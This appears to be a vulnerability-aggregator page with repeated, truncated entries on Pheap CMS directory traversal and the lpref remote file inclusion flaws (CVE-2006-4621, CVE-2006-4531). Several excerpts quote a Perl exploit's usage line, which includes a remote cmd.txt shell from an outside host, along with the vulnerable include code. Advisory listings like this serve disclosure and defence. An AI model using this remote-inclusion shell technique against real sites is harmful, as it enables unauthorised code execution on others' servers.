Pheap 1.x2.0 - edit.php Directory Traversal

Pheap 1.x2.0 - edit.php Directory Traversal source: https://www.securityfocus.com/bid/22670/info Pheap is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to retrieve and edit the contents of arbitra...

CVE-2006-4621

PHP remote file inclusion vulnerability in settings.php in Pheap 1.2, and possibly earlier, allows remote attackers to execute arbitrary PHP code via a URL in the lpref parameter. NOTE: the provenance of this information is unknown; the details are obtained from third party information. The...

CVE-2006-4621: Undefined Security Weakness

PHP remote file inclusion vulnerability in settings.php in Pheap 1.2, and possibly earlier, allows remote attackers to execute arbitrary PHP code via a URL in the lpref parameter. NOTE: the provenance of this information is unknown; the details are obtained from third party information. The...

CVE-2006-4621

PHP remote file inclusion vulnerability in settings.php in Pheap 1.2, and possibly earlier, allows remote attackers to execute arbitrary PHP code via a URL in the lpref parameter. NOTE: the provenance of this information is unknown; the details are obtained from third party information. The...

CVE-2006-4621

CVE-2006-4621 describes a PHP remote file inclusion in Pheap CMS: settings.php in Pheap 1.2 and earlier, allowing arbitrary PHP execution via a URL in the lpref parameter. The same lib/config.php vector is noted as covered by CVE-2006-4531. Connected records confirm affected software (Pheap CMS),...

CVE-2006-4531

PHP remote file inclusion vulnerability in lib/config.php in Pheap CMS 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the lpref parameter...

CVE-2006-4531

PHP remote file inclusion vulnerability in lib/config.php in Pheap CMS 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the lpref parameter...

CVE-2006-4531

Vulnerability: PHP remote file inclusion in Pheap CMS 1.1 and earlier. Product: Pheap CMS, file lib/config.php; vector: lpref parameter taking a URL to include, enabling remote PHP code execution. Impact: potential arbitrary PHP execution on affected installations. Root cause: unsafely including ...

Pheap CMS<= (lpref) Remote File Inclusion Exploit

============================================================================================== Pheap CMS= lpref Remote File Inclusion Exploit =============================================================================================== Critical Level : Dangerous Venedor site :...

CVE-2006-4531: Undefined Security Weakness

PHP remote file inclusion vulnerability in lib/config.php in Pheap CMS 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the lpref parameter...

Pheap CMS <= 1.1 (lpref) Remote File Include Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Pheap CMS = 1 lpref Remote File Include Exploit + + + - Script name: Pheap CMS v. 1 - Script site: http://pheap.barekoncept.com/ + + + - Find by: Kacper a.k.a Rahim + -...

Pheap CMS 1.1 - lpref Remote File Inclusion

Pheap CMS 1.1 - lpref Remote File Inclusion !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Pheap CMS perl exploit.pl http://site.com/PheapPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; in config.php line 13:...

Pheap CMS 1.1 - 'lpref' Remote File Inclusion

!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Pheap CMS perl exploit.pl http://site.com/PheapPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; in config.php line 13: .... include$lpref."lib/globals.php"; .... $sciezka =...

Pheap CMS <= 1.1 (lpref) Remote File Include Exploit

Exploit for unknown platform in category web applications ==================================================== Pheap CMS perl exploit.pl http://site.com/PheapPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd;...